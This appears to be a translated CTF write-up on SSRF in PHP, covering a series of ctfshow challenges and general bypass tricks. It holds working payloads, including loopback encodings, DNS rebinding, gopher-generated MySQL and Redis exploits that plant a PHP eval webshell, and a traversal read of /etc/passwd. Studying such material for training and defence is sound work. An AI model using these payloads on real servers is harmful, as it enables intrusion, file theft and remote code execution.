SSRF Foundation
SSRF (server side request forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, the target of SSRF attack is the internal system that cannot be accessed from the external network. (because it is initiated by the server, it can request the internal system connected to it and isolated from the external network)
Correlation functions and classes
- file_get_contents(): read the whole file or the file pointed to by a url into a string
- readfile(): output the contents of a file
- fsockopen(): open a network connection or a Unix socket connection
- curl_exec(): initializes a new session and returns a cURL handle for curl_setopt(),curl_exec() and cURL_ The close() function uses
- fopen(): open a file or URL
- PHP native class SoapClient can cause SSRF when deserialization is triggered
Related agreements
- File protocol: in case of echo, the contents of any file can be read by using File protocol
- dict protocol: disclose installation software version information, view ports, operate intranet redis services, etc
- Gopher protocol: gopher supports sending get and post requests. The get request package and post request package can be intercepted first, and then the request conforming to gopher protocol can be constructed. Gopher protocol is one of the most powerful protocols in the use of ssrf (commonly known as universal protocol). Can be used to bounce shell
- http/s protocol: detecting intranet host survival
Utilization mode
1. Let the server access the corresponding website
2. Let the server access some fingerprint files in its intranet to determine whether there is a corresponding cms
3. file, dict, gopher[11] and ftp protocols can be used to request access to corresponding files
4. Attack intranet web Applications (you can send carefully constructed data packets {payload} to any port of any internal host)
5. Attack intranet applications (using cross protocol communication technology)
6. Judge whether the intranet host is alive or not: the method is to visit to see if there are ports open
7.DoS attack (keep alive always when requesting large files)
web351 - no filtering
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?> # curl_init - initialize cURL session # curl_setopt -- set a cURL transfer option # curl_exec -- execute cURL session # curl_close -- close the cURL session
Direct access to flag.php prompt: non local users are not allowed to access
payload: post: url=http://127.0.0.1/flag.php Or use file Pseudo protocol to read files post: url=file:///var/www/html/index.php view the source code
web352 - no filtering
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); }
Although there are filters in the code, they are useless...
url=http://localhost/flag.php url=http://127.0.0.1/flag.php You can get it flag
web353 - simple bypass
if(!preg_match('/localhost|127\.0\.|\. /i', $url)){ }
payload
ip address hexadecimal conversion
127.0.0.1 Decimal integer: url=http://2130706433/flag.php hexadecimal: url=http://0x7F.0.0.1/flag.php octal number system: url=http://0177.0.0.1/flag.php Hexadecimal integer: url=http://0x7F000001/flag.php
Other methods
Default mode: 127.0.0.1 Written as 127.1 CIDR: url=http://127.127.127.127/flag.php url=http://0/flag.php url=http://0.0.0.0/flag.php
web354 filter 01
if(!preg_match('/localhost|1|0|. /i', $url))
Method 1: the domain name points to 127
Add an A record in your domain name to point to 127.0.0.1
Or use http://sudo.cc This domain name points to 127.0.0.1
Method 2: 302 jump
Add in your own website page
<?php header("Location:http://127.0.0.1/flag.php");
Redirect to 127
Method 3: DNS binding
Go to ceye.io to register binding 127.0.0.1, and then remember to add r in front
url=http://r.xxxzc8.ceye.io/flag.php
View profile
If there is 1 in the ceye domain name, this method cannot be used
web355 - five bit length host
$url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){
host length is less than or equal to 5 bits
Let's learn about parse first_ URL function
Parse a URL And returns an associative array contained in URL Various components in There are several possible keys in the array: scheme - as http host port user pass path query - In question mark ? after fragment - In hash symbol # after # Example: <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> # output Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor ) /path
payload
url=http://127.1/flag.php 127.1 All five
web356 - three digit length host
if((strlen($host)<=3)){
payload
url=http://0/flag.php # 0 will be resolved to 127.0.0.1 in linux system and 0.0.0.0 in windows system
web357-302 jump / DNSrebinding
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); }
Let's first look at the gethostbyname function
gethostbyname — Returns the corresponding host name IPv4 address
filter_var()
# php filter function filter_var() Get a variable and filter it filter_var_array() Get multiple variables and filter them ...... # PHP filter FILTER_VALIDATE_IP Take value as IP Address to verify, only IPv4 or IPv6 Or not from a private or reserved scope FILTER_FLAG_IPV4 - The required value is legal IPv4 IP(Like 255.255.255.255) FILTER_FLAG_IPV6 - The required value is legal IPv6 IP(Like 2001:0db8:85a3:08d3:1319:8a2e:0370:7334) FILTER_FLAG_NO_PRIV_RANGE - The required value is RFC Specified private domain IP (Like 192.168.0.1) FILTER_FLAG_NO_RES_RANGE - Required value is not in reserved IP Within. This flag is accepted IPV4 and IPV6 Value.
Because gethostbyname is used in the code to obtain the real IP address, the domain name pointing method can no longer be used. You can use 302 jump method and dns rebinding method
DNS rebinding attack
The focus of the attack is that the DNS service can return unused IP addresses in two DNS queries. The first is the real IP address and the second is the target IP address. This attack method can even bypass the homology policy
Back to the topic, in the topic code, the domain name is requested twice, the first time is the gethostbyname method, and the second time is file_ get_ The contents file can be read and attacked through ceye.io. Two IPS are set in DNS binding, one is 127.0.0.1, and the other is an accessible IP
payload
url=http://r. Own domain name. ceye.io/flag.php # Note that r # Multiple attempts
web358 regular matching
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
The url string should be http://ctf Start, show end
payload: url=http://ctf.@127.0.0.1/flag.php#show url=http://ctf.@127.0.0.1/flag.php?show
Attack other intranet services
web359 - mysql
Topic tip: type mysql without password
In a login interface, click login, capture the packet and find that there is SSRF in the suspicious parameter returl
Use gopher protocol to call mysql
Generate payload with gopherus tool
python2 .\gopherus.py --exploit mysql username:root Write a sentence select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
Will_ The content behind the underline is url encoded again (to prevent the occurrence of special characters, the backend curl will decode once by default after receiving the parameters)
Access 2.php and execute the command
web360 - play redis
Tip: call redis
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
What is Redis unauthorized access?
By default, Redis is bound at 0.0.0.0:6379. If relevant policies are not adopted, such as adding firewall rules to avoid ip access from other untrusted sources, the Redis service will be exposed to the public network. If password authentication is not set (generally empty), It will cause any user to access Redis and read Redis data without authorization when he can access the target server. When an attacker accesses Redis without authorization, he can write files by using the config command provided by Redis itself. The attacker can successfully write his ssh public key to the authorized / root/.ssh folder of the target server_ In the keys file, you can then use the corresponding private key to directly log in to the target server using the ssh service
In short, there are two conditions for vulnerabilities:
- redis is bound at 0.0.0.0:6379, and no firewall rules are added to avoid ip access from other untrusted sources and other related security policies, which are directly exposed to the public network
- Password authentication is not set (generally empty), and you can log in to the redis service remotely without password
The lazy way is to use the tool to generate the payload
python2 .\gopherus.py --exploit redis
Need to_ The following string is url encoded again
The shell.php file is generated by default
supplement
Other ways to bypass 127
-
If the object code restricts access, the domain name can only be http://www.xxx.com , then we can bypass it by using HTTP basic identity authentication. I.e. @: http://www.xxx.com @www.evil.com http://www.evil.com/
-
http://xip.io , when accessing any subdomain name of this service, it will be redirected to this subdomain name, such as: http://127.0.0.1.xip.io/flag.php When, the actual access is http://127.0.0.1/1.php There are websites like this http://nip.io , http://sslip.io
-
At present, short websites basically need to be logged in and used, such as me, https://4m.cn/
-
Various addresses pointing to 127.0.0.1
http://Localhost / # localhost refers to 127.0.0.1 http://0 / # 0 represents 0.0.0.0 in window and 127.0.0.1 in liunx http://[0:0:0:0:0:ffff:127.0.0.1] / # available under Linux, but not under window test http://[::]: 80 / # is available under liunx, but not under window test http://127. 0 0 1 / # bypass with Chinese full stop http://①②⑦.⓪.⓪.① http://127.1/ http://The number of 127.00000.00000.001 / # 0 is more or less, and it will point to 127.0.0.1 in the end
Bypass the specified protocol header with a non-existent protocol header
file_ get_ A feature of the contents () function is that when PHP's file_ get_ When encountering an unknown protocol header, the contents() function will treat the protocol header as a folder, resulting in a directory traversal vulnerability. At this time, you only need to jump up the directory to read the files in the root directory. (the include() function has similar features)
// ssrf.php <?php highlight_file(__FILE__); if(!preg_match('/^https/is',$_GET['url'])){ die("no hack"); } echo file_get_contents($_GET['url']); ?>
The above code limits that the url can only be a path starting with https, so we can:
httpsssss://
At this point, file_ get_ If the contents() function encounters an unknown pseudo protocol header "httpssss: / /", it will treat it as a folder, and then cooperate with directory traversal to read the file:
ssrf.php?url=httpsssss://../../../../../../etc/passwd
URL resolution difference
1.readfile and parse_ The user function parses the difference to bypass the specified port
<?php $url = 'http://'. $_GET[url]; $parsed = parse_url($url); if( $parsed[port] == 80 ){ // This limits the url we can only pass to port 80 readfile($url); } else { die('Hacker!'); }
The above code limits the url we can pass to port 80, but if we want to read the file on port 11211, we can bypass it with the following methods
ssrf.php?url=127.0.0.1:11211:80/flag.txt
The 11211 port flag.txt file can be read successfully. The principle is shown in the figure below
There are also differences between the two functions in parsing host
Using this difference, you can bypass the parse in the topic_ The URL () function limits the specified host
2. Use curl and parse_ The resolution difference of the URL bypasses the specified host
Gopher Protocol
The previous question payload is directly generated by script. It's very script boy, but I haven't learned anything
Gopher is a very famous information search system on the Internet. It organizes the files on the Internet into some kind of index, which can easily take users from one place to another on the Internet. Before the emergence of WWW, gopher was the most important information retrieval tool on the Internet. Gopher site was also the most important site, using TCP 70 port
Gopher protocol supports sending GET and POST requests. We can intercept GET request packets and POST request packets first, and then construct payload s that meet gopher protocol requests for SSRF utilization. We can even use it to attack Redis, MySql, FastCGI and other applications in the intranet, which undoubtedly greatly expands our SSRF attack surface
Gopher protocol format
URL: gopher://<host>:<port>/<gopher-path>_ Followed by TCP data flow # Be careful not to forget the underscore "". The TCP data stream starts after the underscore "". If this "", the message received by the server will not be complete, and the character can be written at will.
- If a POST request is initiated, carriage return and line feed need to use% 0d%0a instead of% 0a. If there are multiple parameters, the & between parameters also need to be URL encoded
Sending HTTP requests using Gopher protocol
step
stay gopher Send in protocol HTTP The following three steps are required for data: 1.Grab or construct HTTP data packet 2.URL Encoding, carriage return line feed%0a Replace with%0d%0a 3.Send match gopher Protocol format request
Pay attention to these questions:
- The question mark (?) needs to be transcoded into URL code, that is%3f
- Enter line feed will change to% 0d%0a, but if you directly use tools to turn, there may only be% 0a
- Add% 0d%0a at the end of the HTTP package to represent the end of the message (for details, please study the end of the HTTP package)
Attack intranet FastCGI
https://www.freebuf.com/articles/web/260806.html
This article is written in super detail, and many of the above contents refer to this article
Reference link
https://www.freebuf.com/articles/web/260806.html https://www.freebuf.com/articles/web/263512.html https://blog.csdn.net/solitudi/article/details/112510010